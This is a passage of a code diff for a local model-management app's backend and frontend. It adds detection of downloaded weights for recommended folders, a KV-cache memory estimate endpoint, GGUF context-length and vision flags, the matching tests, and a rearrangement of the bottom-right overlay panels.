                 updated_at = updated_at,
             ),
         ]
@@ -374,6 +419,7 @@ def _scan_lmstudio_dir(lm_dir: Path) -> List[LocalModelInfo]:
                             display_name = child.stem,
                             path = str(child),
                             source = "lmstudio",
+                            model_format = "gguf",
                             updated_at = updated_at,
                         ),
                     )
@@ -392,6 +438,7 @@ def _scan_lmstudio_dir(lm_dir: Path) -> List[LocalModelInfo]:
                         display_name = child.name,
                         path = str(child),
                         source = "lmstudio",
+                        model_format = _dir_model_format(child),
                         updated_at = updated_at,
                     ),
                 )
@@ -420,6 +467,7 @@ def _scan_lmstudio_dir(lm_dir: Path) -> List[LocalModelInfo]:
                                 display_name = model_dir.name,
                                 path = str(model_dir),
                                 source = "lmstudio",
+                                model_format = _dir_model_format(model_dir),
                                 updated_at = updated_at,
                             ),
                         )
@@ -435,6 +483,7 @@ def _scan_lmstudio_dir(lm_dir: Path) -> List[LocalModelInfo]:
                                 display_name = model_dir.stem,
                                 path = str(model_dir),
                                 source = "lmstudio",
+                                model_format = "gguf",
                                 updated_at = updated_at,
                             ),
                         )
@@ -847,13 +896,88 @@ async def remove_scan_folder_endpoint(
     return {"ok": True}
 
 
+def _dir_has_downloaded_model(directory: Path, max_entries: int = 4000) -> bool:
+    """True if *directory* actually holds a downloaded model.
+
+    Recommended-folder chips should only appear once the well-known dir
+    has real weights, not just an empty LM Studio/Ollama scaffold. Two
+    layouts: a GGUF/safetensors/PyTorch-bin weight file anywhere in the
+    tree (LM Studio, plain dirs) or the Ollama content-addressable store
+    (a non-empty ``manifests/`` beside ``blobs/``, whose blobs carry no
+    extension). Weight detection mirrors the local scanner so a folder the
+    chip leads to is one the scanner would actually surface a model from.
+    Bounded by *max_entries* so a huge tree can't stall the request.
+    """
+    # Ollama layout: each manifest is JSON referencing content-addressable
+    # blobs. A manifest file alone is not enough -- a failed or pruned pull
+    # leaves the manifest behind with its model blob missing, so we resolve the
+    # ``application/vnd.ollama.image.model`` layer to an on-disk blob before
+    # counting it, mirroring _scan_ollama_dir (which only surfaces a model once
+    # its blob resolves). Otherwise the chip leads to an empty picker.
+    visited = 0
+    manifests = directory / "manifests"
+    blobs = directory / "blobs"
+    try:
+        if _safe_is_dir(manifests) and _safe_is_dir(blobs):
+            for m in manifests.rglob("*"):
+                visited += 1
+                if visited > max_entries:
+                    break
+                if not m.is_file():
+                    continue
+                try:
+                    manifest = json.loads(m.read_text())
+                except (json.JSONDecodeError, OSError, ValueError):
+                    continue
+                for layer in manifest.get("layers") or []:
+                    if layer.get("mediaType") != "application/vnd.ollama.image.model":
+                        continue
+                    digest = layer.get("digest", "")
+                    if digest and (blobs / digest.replace(":", "-")).is_file():
+                        return True
+    except OSError:
+        pass
+    # Generic weights: any GGUF/safetensors in a bounded BFS that skips hidden
+    # directories (``.git``/``.cache``/venvs). ``rglob`` walks in arbitrary order
+    # and counts every entry, so a large hidden subtree could exhaust the budget
+    # before reaching real weights and falsely report "no model".
+    queue = [directory]
+    visited = 0
+    while queue:
+        current = queue.pop(0)
+        try:
+            entries = list(current.iterdir())
+        except OSError:
+            continue
+        for entry in entries:
+            visited += 1
+            if visited > max_entries:
+                return False
+            try:
+                if entry.is_dir():
+                    if not entry.name.startswith("."):
+                        queue.append(entry)
+                else:
+                    low = entry.name.lower()
+                    if low.endswith((".gguf", ".safetensors")):
+                        return True
+                    # PyTorch checkpoints the scanner also accepts; gate by name
+                    # so tokenizer.bin and friends don't count as weights.
+                    if _is_weight_bin(entry.name):
+                        return True
+            except OSError:
+                continue
+    return False
+
+
 @router.get("/recommended-folders")
 async def get_recommended_folders(current_subject: str = Depends(get_current_subject)):
-    """Return well-known model directories that exist on this machine.
+    """Return well-known model directories that hold a downloaded model.
 
     Lightweight alternative to ``browse-folders`` for the frontend's
-    one-click "Recommended" chips; returns existing paths only (HF
-    cache, LM Studio, Ollama, ``~/models``, etc.).
+    one-click "Recommended" chips. Only paths that actually contain
+    weights are returned, so an empty LM Studio/Ollama scaffold no longer
+    shows up as a suggestion.
     """
     from utils.paths.storage_roots import lmstudio_model_dirs
 
@@ -869,7 +993,11 @@ async def get_recommended_folders(current_subject: str = Depends(get_current_sub
             return
         if resolved in seen:
             return
-        if _safe_is_dir(resolved) and os.access(resolved, os.R_OK | os.X_OK):
+        if (
+            _safe_is_dir(resolved)
+            and os.access(resolved, os.R_OK | os.X_OK)
+            and _dir_has_downloaded_model(Path(resolved))
+        ):
             seen.add(resolved)
             folders.append(resolved)
 
@@ -2270,6 +2398,170 @@ async def check_embedding_model(
         )
 
 
+def _read_native_context_length(repo_id: str, is_local: bool) -> Optional[int]:
+    """Native max context from a downloaded GGUF for this repo, or None.
+
+    The value is identical across quants, so reading one non-mmproj shard's
+    header is enough. Only resolves once a file is on disk. Never raises.
+    """
+    try:
+        from utils.models.gguf_metadata import read_gguf_context_length
+        if is_local:
+            roots = [Path(repo_id)]
+        else:
+            from huggingface_hub import constants as hf_constants
+
+            if not _is_valid_repo_id(repo_id):
+                return None
+            cache_dir = Path(hf_constants.HF_HUB_CACHE)
+            target = f"models--{repo_id.replace('/', '--')}".lower()
+            roots = [e for e in cache_dir.iterdir() if e.name.lower() == target]
+
+        for root in roots:
+            for f in _iter_gguf_paths(root):
+                if _is_mmproj_filename(f.name):
+                    continue
+                n = read_gguf_context_length(str(f))
+                if n:
+                    return n
+    except Exception:
+        pass
+    return None
+
+
+def _resolve_quant_gguf(repo_id: str, quant: str, is_local: bool) -> tuple[Optional[str], int]:
+    """Primary shard path and total weight bytes for a downloaded quant, or
+    (None, 0). Metadata lives in shard 1, so the lexicographically first file of
+    the matching quant is returned. Scoped to one snapshot to avoid summing the
+    same quant across revisions; when several snapshots hold the quant the most
+    complete one (largest total) wins so a partial revision can't shadow it.
+    Mirrors list_local_gguf_variants: quant labels are read from the snapshot-
+    relative path (so layouts like ``BF16/model.gguf`` resolve) and MTP drafter
+    files are skipped (so a ``...-Q8_0-MTP.gguf`` drafter can't be picked as the
+    Q8_0 weights). Never raises.
+    """
+    try:
+        from utils.models.model_config import (
+            _extract_quant_label,
+            _is_big_endian_gguf_path,
+            _is_mtp_drafter,
+        )
+
+        if is_local:
+            roots = [Path(repo_id)]
+        else:
+            from huggingface_hub import constants as hf_constants
+
+            if not _is_valid_repo_id(repo_id):
+                return None, 0
+            cache_dir = Path(hf_constants.HF_HUB_CACHE)
+            target = f"models--{repo_id.replace('/', '--')}".lower()
+            roots = []
+            for entry in cache_dir.iterdir():
+                if entry.name.lower() == target:
+                    snaps = entry / "snapshots"
+                    if snaps.is_dir():
+                        roots.extend(s for s in snaps.iterdir() if s.is_dir())
+
+        want = quant.lower().replace("-", "").replace("_", "")
+        best_total = 0
+        best_first: Optional[str] = None
+        for root in roots:
+            matches: list[tuple[str, Path]] = []
+            total = 0
+            for f in _iter_gguf_paths(root):
+                if _is_mmproj_filename(f.name):
+                    continue
+                try:
+                    rel = f.relative_to(root).as_posix()
+                except ValueError:
+                    rel = f.name
+                if _is_mtp_drafter(rel):
+                    continue
+                q = _extract_quant_label(rel)
+                if _is_big_endian_gguf_path(rel, q):
+                    continue
+                if q.lower().replace("-", "").replace("_", "") != want:
+                    continue
+                try:
+                    total += f.stat().st_size
+                except OSError:
+                    continue
+                matches.append((rel, f))
+            # Prefer the most complete snapshot so a partial older revision can't
+            # shadow a newer complete one and underestimate the weight bytes.
+            if matches and total > best_total:
+                matches.sort(key = lambda m: m[0])
+                best_total = total
+                best_first = str(matches[0][1])
+        if best_first is not None:
+            return best_first, best_total
+    except Exception:
+        pass
+    return None, 0
+
+
+@router.get("/kv-cache-estimate")
+async def get_kv_cache_estimate(
+    repo_id: str = Query(..., description = "HF repo ID or local path"),
+    quant: str = Query(..., description = "Quantization label (e.g. Q4_K_M)"),
+    n_ctx: int = Query(..., ge = 1, description = "Context length to size the KV cache for"),
+    cache_type_kv: Optional[str] = Query(None, description = "KV cache dtype (e.g. q8_0)"),
+    current_subject: str = Depends(get_current_subject),
+):
+    """Estimate KV cache + weight bytes for a downloaded GGUF at n_ctx.
+
+    Powers the load dialog's "exceeds memory" warning using the same
+    architecture-aware estimator as load. Best-effort: returns nulls when the
+    metadata is unavailable so the UI simply shows no warning.
+    """
+    null = {"kv_bytes": None, "weights_bytes": None, "native_context": None}
+    try:
+        from utils.models.model_config import is_local_path
+
+        is_local = is_local_path(repo_id)
+        path, weights_bytes = _resolve_quant_gguf(repo_id, quant, is_local)
+        if not path:
+            return null
+
+        from core.inference.llama_cpp import LlamaCppBackend
+
+        be = LlamaCppBackend.__new__(LlamaCppBackend)
+        for attr in (
+            "_context_length",
+            "_n_layers",
+            "_n_kv_heads",
+            "_n_heads",
+            "_embedding_length",
+            "_kv_key_length",
+            "_kv_value_length",
+            "_kv_lora_rank",
+            "_sliding_window",
+            "_sliding_window_pattern",
+            "_ssm_inner_size",
+            "_full_attention_interval",
+            "_key_length_mla",
+            "_n_kv_heads_by_layer",
+            "_kv_key_length_swa",
+            "_kv_value_length_swa",
+            "_shared_kv_layers",
+            "_nextn_predict_layers",
+        ):
+            setattr(be, attr, None)
+        be._model_identifier = "kv-estimate"
+        be._read_gguf_metadata(path)
+
+        kv = be._estimate_kv_cache_bytes(n_ctx, cache_type_kv)
+        return {
+            "kv_bytes": int(kv) if kv else None,
+            "weights_bytes": weights_bytes or None,
+            "native_context": be._context_length,
+        }
+    except Exception as e:
+        logger.debug(f"kv-cache-estimate failed for '{repo_id}' {quant}: {e}")
+        return null
+
+
 @router.get("/gguf-variants", response_model = GgufVariantsResponse)
 async def get_gguf_variants(
     repo_id: str = Query(
@@ -2307,6 +2599,7 @@ async def get_gguf_variants(
                 ],
                 has_vision = has_vision,
                 default_variant = default_variant,
+                context_length = _read_native_context_length(repo_id, is_local = True),
             )
 
         # Remote HuggingFace repo — query HF API.
@@ -2375,6 +2668,7 @@ async def get_gguf_variants(
             ],
             has_vision = has_vision,
             default_variant = default_variant,
+            context_length = _read_native_context_length(repo_id, is_local = False),
         )
 
     except Exception as e:
@@ -2673,6 +2967,14 @@ def _is_main_gguf_filename(name: str) -> bool:
     return _is_gguf_filename(name) and not _is_mmproj_filename(name)
 
 
+def _repo_has_mmproj(repo_info) -> bool:
+    """True if the repo ships a GGUF vision adapter (mmproj), so it can
+    take image inputs. Cheap: scans already-listed file names only."""
+    return any(
+        _is_mmproj_filename(f.file_name) for revision in repo_info.revisions for f in revision.files
+    )
+
+
 def _iter_gguf_paths(root: Path):
     for path in root.rglob("*"):
         if path.is_file() and _is_gguf_filename(path.name):
@@ -2770,6 +3072,7 @@ async def list_cached_gguf(current_subject: str = Depends(get_current_subject)):
                             "repo_id": repo_id,
                             "size_bytes": total_size,
                             "cache_path": str(repo_info.repo_path),
+                            "has_vision": _repo_has_mmproj(repo_info),
                         }
                         # Keep the newest timestamp across duplicate caches;
                         # attach only when known so absent rows sort as oldest.
diff --git a/studio/backend/tests/test_cached_gguf_routes.py b/studio/backend/tests/test_cached_gguf_routes.py
index 03662e7b08..b2ead305ba 100644
--- a/studio/backend/tests/test_cached_gguf_routes.py
+++ b/studio/backend/tests/test_cached_gguf_routes.py
@@ -82,6 +82,7 @@ def test_list_cached_gguf_includes_non_suffix_repo_when_cache_contains_gguf(monk
             "repo_id": "HauhauCS/Gemma-4-E4B-Uncensored-HauhauCS-Aggressive",
             "size_bytes": 5_000,
             "cache_path": str(repo.repo_path),
+            "has_vision": False,
         }
     ]
 
@@ -103,6 +104,7 @@ def test_list_cached_gguf_matches_extension_case_insensitively(monkeypatch, tmp_
             "repo_id": "Org/Model-Without-Suffix",
             "size_bytes": 7_000,
             "cache_path": str(repo.repo_path),
+            "has_vision": False,
         }
     ]
 
@@ -197,6 +199,7 @@ def test_list_cached_gguf_keeps_largest_duplicate_repo_across_scans(monkeypatch,
             "repo_id": "org/dupe",
             "size_bytes": 6_000,
             "cache_path": str(larger.repo_path),
+            "has_vision": False,
         }
     ]
 
@@ -226,6 +229,7 @@ def test_list_cached_gguf_dedupes_shared_blobs_across_revisions(monkeypatch, tmp
             "repo_id": "Org/SharedBlobRepo",
             "size_bytes": 5_000,
             "cache_path": str(repo.repo_path),
+            "has_vision": False,
         }
     ]
 
@@ -275,6 +279,7 @@ def test_list_cached_gguf_includes_mixed_repo_with_gguf_and_safetensors(monkeypa
             "repo_id": "Org/MixedRepo",
             "size_bytes": 5_000,
             "cache_path": str(mixed.repo_path),
+            "has_vision": False,
         }
     ]
 
@@ -301,6 +306,7 @@ def test_list_cached_gguf_handles_none_size_on_disk(monkeypatch, tmp_path):
             "repo_id": "Org/PartialDownload",
             "size_bytes": 5_000,
             "cache_path": str(partial.repo_path),
+            "has_vision": False,
         }
     ]
 
@@ -336,6 +342,7 @@ def test_list_cached_gguf_skips_malformed_repo_without_wiping_response(monkeypat
             "repo_id": "Org/Healthy",
             "size_bytes": 5_000,
             "cache_path": str(healthy.repo_path),
+            "has_vision": False,
         }
     ]
 
@@ -411,6 +418,7 @@ def test_list_cached_gguf_includes_vision_repo_with_main_gguf_and_mmproj(monkeyp
             "repo_id": "Org/VisionGguf",
             "size_bytes": 5_000,
             "cache_path": str(vision_repo.repo_path),
+            "has_vision": True,
         }
     ]
 
@@ -464,6 +472,7 @@ def test_all_hf_cache_scans_survives_inaccessible_aux_cache(monkeypatch, tmp_pat
             "repo_id": "Org/Active",
             "size_bytes": 5_000,
             "cache_path": str(tmp_path / "active"),
+            "has_vision": False,
         }
     ]
 
diff --git a/studio/backend/tests/test_local_model_format.py b/studio/backend/tests/test_local_model_format.py
new file mode 100644
index 0000000000..b569163cc8
--- /dev/null
+++ b/studio/backend/tests/test_local_model_format.py
@@ -0,0 +1,117 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for local GGUF ``model_format`` classification (PR #6364 follow-up).
+
+Suffixless GGUF folders (custom folders / LM Studio) carry no ``-GGUF`` name
+hint, so the scanners must surface ``model_format = "gguf"`` for the UI to route
+them through the GGUF load path. The rule, shared by ``_dir_model_format`` and
+``_scan_models_dir``: a directory is GGUF-format when it holds ``.gguf`` files
+and no non-GGUF weights (``.safetensors`` / ``.bin``); a stray ``config.json``
+must not disqualify it.
+
+No GPU/network: only file names and sizes are inspected.
+"""
+
+from __future__ import annotations
+
+import sys
+import types
+from pathlib import Path
+
+# Keep runnable without optional logging deps (mirrors the sibling tests).
+if "structlog" not in sys.modules:
+
+    class _DummyLogger:
+        def __getattr__(self, _name):
+            return lambda *args, **kwargs: None
+
+    sys.modules["structlog"] = types.SimpleNamespace(
+        BoundLogger = _DummyLogger,
+        get_logger = lambda *args, **kwargs: _DummyLogger(),
+    )
+
+import routes.models as models_route
+
+
+def _touch(path: Path) -> Path:
+    path.parent.mkdir(parents = True, exist_ok = True)
+    path.write_bytes(b"\0")
+    return path
+
+
+def test_dir_model_format_gguf_only(tmp_path):
+    d = tmp_path / "model"
+    _touch(d / "model-Q4_K_M.gguf")
+    assert models_route._dir_model_format(d) == "gguf"
+
+
+def test_dir_model_format_gguf_with_config_is_still_gguf(tmp_path):
+    # A config.json alongside the .gguf must not flip it to non-GGUF.
+    d = tmp_path / "model"
+    _touch(d / "config.json")
+    _touch(d / "model-Q4_K_M.gguf")
+    assert models_route._dir_model_format(d) == "gguf"
+
+
+def test_dir_model_format_mixed_weights_is_not_gguf(tmp_path):
+    # Real safetensors weights present -> not a GGUF folder.
+    d = tmp_path / "model"
+    _touch(d / "model.safetensors")
+    _touch(d / "model-Q4_K_M.gguf")
+    assert models_route._dir_model_format(d) is None
+
+
+def test_dir_model_format_no_gguf(tmp_path):
+    d = tmp_path / "model"
+    _touch(d / "config.json")
+    _touch(d / "model.safetensors")
+    assert models_route._dir_model_format(d) is None
+
+
+def test_dir_model_format_ignores_tokenizer_bin(tmp_path):
+    # A companion tokenizer.bin is not a weight file, so a GGUF folder shipping
+    # one is still GGUF (not misread as a plain .bin checkpoint).
+    d = tmp_path / "model"
+    _touch(d / "tokenizer.bin")
+    _touch(d / "model-Q4_K_M.gguf")
+    assert models_route._dir_model_format(d) == "gguf"
+
+
+def test_dir_model_format_weight_bin_is_not_gguf(tmp_path):
+    # A real PyTorch weight .bin alongside a .gguf means mixed weights -> None.
+    d = tmp_path / "model"
+    _touch(d / "pytorch_model.bin")
+    _touch(d / "model-Q4_K_M.gguf")
+    assert models_route._dir_model_format(d) is None
+
+
+def test_scan_models_dir_classifies_gguf_with_config(tmp_path):
+    root = tmp_path / "models"
+    # GGUF repo that also ships a config.json (the regression case).
+    _touch(root / "gguf_repo" / "config.json")
+    _touch(root / "gguf_repo" / "model-Q4_K_M.gguf")
+    # A plain safetensors checkpoint stays non-GGUF.
+    _touch(root / "st_repo" / "config.json")
+    _touch(root / "st_repo" / "model.safetensors")
+    # A standalone .gguf file is GGUF.
+    _touch(root / "loose.gguf")
+
+    fmt = {Path(m.path).name: m.model_format for m in models_route._scan_models_dir(root)}
+
+    assert fmt["gguf_repo"] == "gguf"
+    assert fmt["st_repo"] is None
+    assert fmt["loose.gguf"] == "gguf"
+
+
+def test_scan_models_dir_classifies_root_gguf_with_config(tmp_path):
+    # Custom scan folders can point directly at a GGUF repo, not only at a
+    # parent directory that contains model repos.
+    root = tmp_path / "SuffixlessRepo"
+    _touch(root / "config.json")
+    _touch(root / "model-Q4_K_M.gguf")
+
+    [row] = models_route._scan_models_dir(root)
+
+    assert row.path == str(root)
+    assert row.model_format == "gguf"
diff --git a/studio/backend/tests/test_recommended_folders_has_model.py b/studio/backend/tests/test_recommended_folders_has_model.py
new file mode 100644
index 0000000000..647d5dd3db
--- /dev/null
+++ b/studio/backend/tests/test_recommended_folders_has_model.py
@@ -0,0 +1,166 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""
+Regression test for /recommended-folders suggesting empty scaffolds.
+
+The endpoint used to surface any well-known dir that merely existed, so a
+freshly installed LM Studio or Ollama (empty ``models`` dir) showed up as a
+"Recommended" chip with no models behind it. ``_dir_has_downloaded_model``
+now gates each candidate on real weights: a GGUF/safetensors file anywhere in
+the tree, or a non-empty Ollama ``manifests/`` beside ``blobs/``.
+
+``routes.models`` pulls the full backend dep tree, so we extract the real
+helper (and its ``_safe_is_dir`` dependency) from the source via AST and run
+the shipped code in isolation, mirroring
+``test_recommended_folders_permission.py``.
+
+Run:
+    python -m pytest studio/backend/tests/test_recommended_folders_has_model.py -v
+"""
+
+import ast
+import json
+import os
+from pathlib import Path
+
+_backend_root = Path(__file__).resolve().parent.parent
+_models_src = _backend_root / "routes" / "models.py"
+
+
+def _load_has_downloaded_model():
+    """Return the real ``_dir_has_downloaded_model`` (plus its ``_safe_is_dir``
+    and ``_is_weight_bin`` deps, and the ``_WEIGHT_BIN_PREFIXES`` constant the
+    latter reads) without importing the heavy module."""
+    tree = ast.parse(_models_src.read_text())
+    wanted = {"_safe_is_dir", "_dir_has_downloaded_model", "_is_weight_bin"}
+    body = []
+    for node in tree.body:
+        if isinstance(node, ast.FunctionDef) and node.name in wanted:
+            body.append(node)
+        elif isinstance(node, ast.Assign) and any(
+            isinstance(t, ast.Name) and t.id == "_WEIGHT_BIN_PREFIXES" for t in node.targets
+        ):
+            body.append(node)
+    got = {n.name for n in body if isinstance(n, ast.FunctionDef)}
+    assert got == wanted, f"helpers missing from source: {wanted - got}"
+    module = ast.Module(body = body, type_ignores = [])
+    ns: dict = {"Path": Path, "os": os, "json": json}
+    exec(compile(module, f"<extracted {_models_src}>", "exec"), ns)
+    return ns["_dir_has_downloaded_model"]
+
+
+has_downloaded_model = _load_has_downloaded_model()
+
+
+def test_empty_scaffold_is_false(tmp_path):
+    empty = tmp_path / "lmstudio" / "models"
+    empty.mkdir(parents = True)
+    assert has_downloaded_model(empty) is False
+
+
+def test_lmstudio_gguf_is_true(tmp_path):
+    # models/publisher/repo/file.gguf (LM Studio's nested layout).
+    repo = tmp_path / "models" / "bartowski" / "Qwen3-4B-GGUF"
+    repo.mkdir(parents = True)
+    (repo / "q4.gguf").write_bytes(b"x")
+    assert has_downloaded_model(tmp_path / "models") is True
+
+
+def test_safetensors_is_true(tmp_path):
+    repo = tmp_path / "models" / "repo"
+    repo.mkdir(parents = True)
+    (repo / "model.safetensors").write_bytes(b"x")
+    assert has_downloaded_model(tmp_path / "models") is True
+
+
+def test_ollama_empty_scaffold_is_false(tmp_path):
+    models = tmp_path / "ollama" / "models"
+    (models / "manifests").mkdir(parents = True)
+    (models / "blobs").mkdir()
+    assert has_downloaded_model(models) is False
+
+
+def test_ollama_with_manifest_is_true(tmp_path):
+    models = tmp_path / "ollama" / "models"
+    manifest = models / "manifests" / "registry.ollama.ai" / "library" / "llama3"
+    manifest.mkdir(parents = True)
+    # A real manifest references its weights via an image.model layer; the
+    # referenced blob must exist on disk for the model to be loadable.
+    (manifest / "latest").write_text(
+        json.dumps(
+            {
+                "layers": [
+                    {
+                        "mediaType": "application/vnd.ollama.image.model",
+                        "digest": "sha256:abc",
+                    }
+                ]
+            }
+        )
+    )
+    (models / "blobs").mkdir()
+    (models / "blobs" / "sha256-abc").write_bytes(b"x")
+    assert has_downloaded_model(models) is True
+
+
+def test_ollama_manifest_without_blob_is_false(tmp_path):
+    # A failed/pruned pull leaves the manifest behind but its model blob is
+    # gone: the chip must not lead to an empty picker.
+    models = tmp_path / "ollama" / "models"
+    manifest = models / "manifests" / "registry.ollama.ai" / "library" / "llama3"
+    manifest.mkdir(parents = True)
+    (manifest / "latest").write_text(
+        json.dumps(
+            {
+                "layers": [
+                    {
+                        "mediaType": "application/vnd.ollama.image.model",
+                        "digest": "sha256:missing",
+                    }
+                ]
+            }
+        )
+    )
+    (models / "blobs").mkdir()  # empty: the referenced blob never landed
+    assert has_downloaded_model(models) is False
+
+
+def test_non_model_files_is_false(tmp_path):
+    junk = tmp_path / "junk"
+    junk.mkdir()
+    (junk / "readme.txt").write_text("hi")
+    assert has_downloaded_model(junk) is False
+
+
+def test_pytorch_bin_weights_are_true(tmp_path):
+    # A folder whose only weights are PyTorch .bin checkpoints (which the local
+    # scanner accepts) should still earn a Recommended chip.
+    repo = tmp_path / "models" / "repo"
+    repo.mkdir(parents = True)
+    (repo / "config.json").write_text("{}")
+    (repo / "pytorch_model.bin").write_bytes(b"x")
+    assert has_downloaded_model(tmp_path / "models") is True
+
+
+def test_non_weight_bin_is_false(tmp_path):
+    # A stray .bin that is not a weight file (e.g. tokenizer.bin) must not count.
+    repo = tmp_path / "models" / "repo"
+    repo.mkdir(parents = True)
+    (repo / "tokenizer.bin").write_bytes(b"x")
+    assert has_downloaded_model(tmp_path / "models") is False
+
+
+def test_hidden_subtree_does_not_starve_the_budget(tmp_path):
+    # A real model dir that also holds a huge hidden subtree (e.g. a .git or
+    # .cache). The hidden entries must not exhaust max_entries before the walk
+    # reaches the actual weights, which would falsely report "no model".
+    models = tmp_path / "models"
+    git = models / ".git" / "objects"
+    git.mkdir(parents = True)
+    for i in range(50):
+        (git / f"obj{i}").write_bytes(b"x")
+    repo = models / "repo"
+    repo.mkdir()
+    (repo / "model.safetensors").write_bytes(b"x")
+    assert has_downloaded_model(models, max_entries = 10) is True
diff --git a/studio/backend/tests/test_resolve_quant_gguf.py b/studio/backend/tests/test_resolve_quant_gguf.py
new file mode 100644
index 0000000000..840c4d8d4c
--- /dev/null
+++ b/studio/backend/tests/test_resolve_quant_gguf.py
@@ -0,0 +1,98 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for :func:`routes.models._resolve_quant_gguf` (PR #6364 follow-up).
+
+The /kv-cache-estimate resolver must mirror list_local_gguf_variants:
+- read the quant label from the snapshot-relative path so nested layouts like
+  ``BF16/model.gguf`` resolve (not just basenames),
+- skip MTP drafter files so a ``...-Q8_0-MTP.gguf`` drafter is never returned as
+  the Q8_0 weights, and
+- when several cache snapshots hold the quant, pick the most complete (largest
+  total) so a partial older revision can't underestimate the weight bytes.
+
+No GPU/network. The resolver only stats sizes and parses file names, so the
+GGUF files can be arbitrary bytes.
+"""
+
+from __future__ import annotations
+
+import sys
+import types
+from pathlib import Path
+
+# Keep this test runnable without optional logging deps (mirrors
+# test_cached_gguf_routes.py).
+if "structlog" not in sys.modules:
+
+    class _DummyLogger:
+        def __getattr__(self, _name):
+            return lambda *args, **kwargs: None
+
+    sys.modules["structlog"] = types.SimpleNamespace(
+        BoundLogger = _DummyLogger,
+        get_logger = lambda *args, **kwargs: _DummyLogger(),
+    )
+
+import routes.models as models_route
+
+
+def _write(path: Path, size: int) -> Path:
+    path.parent.mkdir(parents = True, exist_ok = True)
+    path.write_bytes(b"\0" * size)
+    return path
+
+
+def test_resolves_quant_from_parent_directory_layout(tmp_path):
+    # A repo that puts the quant label in a parent dir (BF16/model.gguf).
+    root = tmp_path / "repo"
+    f = _write(root / "BF16" / "model.gguf", 1234)
+
+    path, total = models_route._resolve_quant_gguf(str(root), "BF16", is_local = True)
+
+    assert path == str(f)
+    assert total == 1234
+
+
+def test_skips_mtp_drafter_for_main_weights(tmp_path):
+    # Main Q8_0 weights next to a same-quant MTP drafter that sorts first by name.
+    root = tmp_path / "repo"
+    main = _write(root / "model-Q8_0.gguf", 100)
+    _write(root / "MTP" / "model-Q8_0-MTP.gguf", 50)
+
+    path, total = models_route._resolve_quant_gguf(str(root), "Q8_0", is_local = True)
+
+    assert path == str(main)
+    # Drafter bytes are excluded from the weight total.
+    assert total == 100
+
+
+def test_prefers_the_complete_snapshot(tmp_path, monkeypatch):
+    from huggingface_hub import constants as hf_constants
+
+    cache = tmp_path / "hub"
+    snaps = cache / "models--org--repo" / "snapshots"
+    # Partial older snapshot: one small shard.
+    _write(snaps / "aaaa" / "model-Q4_K_M.gguf", 10)
+    # Complete newer snapshot: two larger shards.
+    complete_first = _write(snaps / "bbbb" / "model-00001-of-00002-Q4_K_M.gguf", 30)
+    _write(snaps / "bbbb" / "model-00002-of-00002-Q4_K_M.gguf", 40)
+
+    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(cache))
+
+    path, total = models_route._resolve_quant_gguf("org/repo", "Q4_K_M", is_local = False)
+
+    # The most complete snapshot (70 bytes) wins over the partial one (10).
+    assert total == 70
+    # Shard 1 (metadata) of the complete snapshot is returned.
+    assert path == str(complete_first)
+
+
+def test_returns_none_when_quant_absent(tmp_path):
+    root = tmp_path / "repo"
+    _write(root / "model-Q4_K_M.gguf", 100)
+
+    path, total = models_route._resolve_quant_gguf(str(root), "Q8_0", is_local = True)
+
+    assert path is None
+    assert total == 0
diff --git a/studio/frontend/src/app/provider.tsx b/studio/frontend/src/app/provider.tsx
index 29644d04cf..802f22e21e 100644
--- a/studio/frontend/src/app/provider.tsx
+++ b/studio/frontend/src/app/provider.tsx
@@ -258,7 +258,8 @@ function TauriWrapper({ children }: { children: ReactNode }) {
     return (
       <>
         {children}
-        <DownloadManagerPanel />
+        {/* One bottom-right stack so overlays never overlap; they stack with a
+            gap, download panel anchored at the corner with banners above. */}
         <div className="pointer-events-none fixed bottom-4 right-4 z-[9998] flex w-[calc(100vw-2rem)] max-w-[400px] flex-col items-stretch gap-2">
           <WebUpdateBanner
             positioned={false}
@@ -268,6 +269,7 @@ function TauriWrapper({ children }: { children: ReactNode }) {
             positioned={false}
             enabled={!WEB_UPDATE_HIDDEN_ROUTES.has(pathname)}
           />
+          <DownloadManagerPanel positioned={false} />
         </div>
       </>
     );
@@ -285,7 +287,6 @@ function TauriWrapper({ children }: { children: ReactNode }) {
       <TauriUpdateLayer isExternalServer={isExternalServer} />
       <NativeIntentDrain />
       {children}
-      <DownloadManagerPanel />
     </>
   ) : (
     <StartupScreen
@@ -310,9 +311,13 @@ function TauriWrapper({ children }: { children: ReactNode }) {
     return (
       <>
         {content}
-        <LlamaUpdateBanner
-          enabled={showApp && !HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname)}
-        />
+        <div className="pointer-events-none fixed bottom-4 right-4 z-[9998] flex w-[calc(100vw-2rem)] max-w-[400px] flex-col items-stretch gap-2">
+          <LlamaUpdateBanner
+            positioned={false}
+            enabled={showApp && !HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname)}
+          />
+          {showApp ? <DownloadManagerPanel positioned={false} /> : null}
+        </div>
       </>
     );
   }
@@ -326,9 +331,13 @@ function TauriWrapper({ children }: { children: ReactNode }) {
       <div className="min-h-0 flex-1 overflow-hidden">
         {content}
       </div>
-      <LlamaUpdateBanner
-        enabled={showApp && !HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname)}
-      />
+      <div className="pointer-events-none fixed bottom-4 right-4 z-[9998] flex w-[calc(100vw-2rem)] max-w-[400px] flex-col items-stretch gap-2">
+        <LlamaUpdateBanner
+          positioned={false}
+          enabled={showApp && !HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname)}
+        />
+        {showApp ? <DownloadManagerPanel positioned={false} /> : null}
+      </div>
     </div>
   );
 }
diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 0497b64882..c6fa3e92ec 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -68,7 +68,7 @@ import {
   PowerIcon,
   PencilEdit02Icon,
   LayoutAlignLeftIcon,
-  Setting07Icon,
+  Settings02Icon,
   Sun03Icon,
   TestTube01Icon,
   ZapIcon,
@@ -1382,7 +1382,7 @@ export function AppSidebar() {
                   </div>
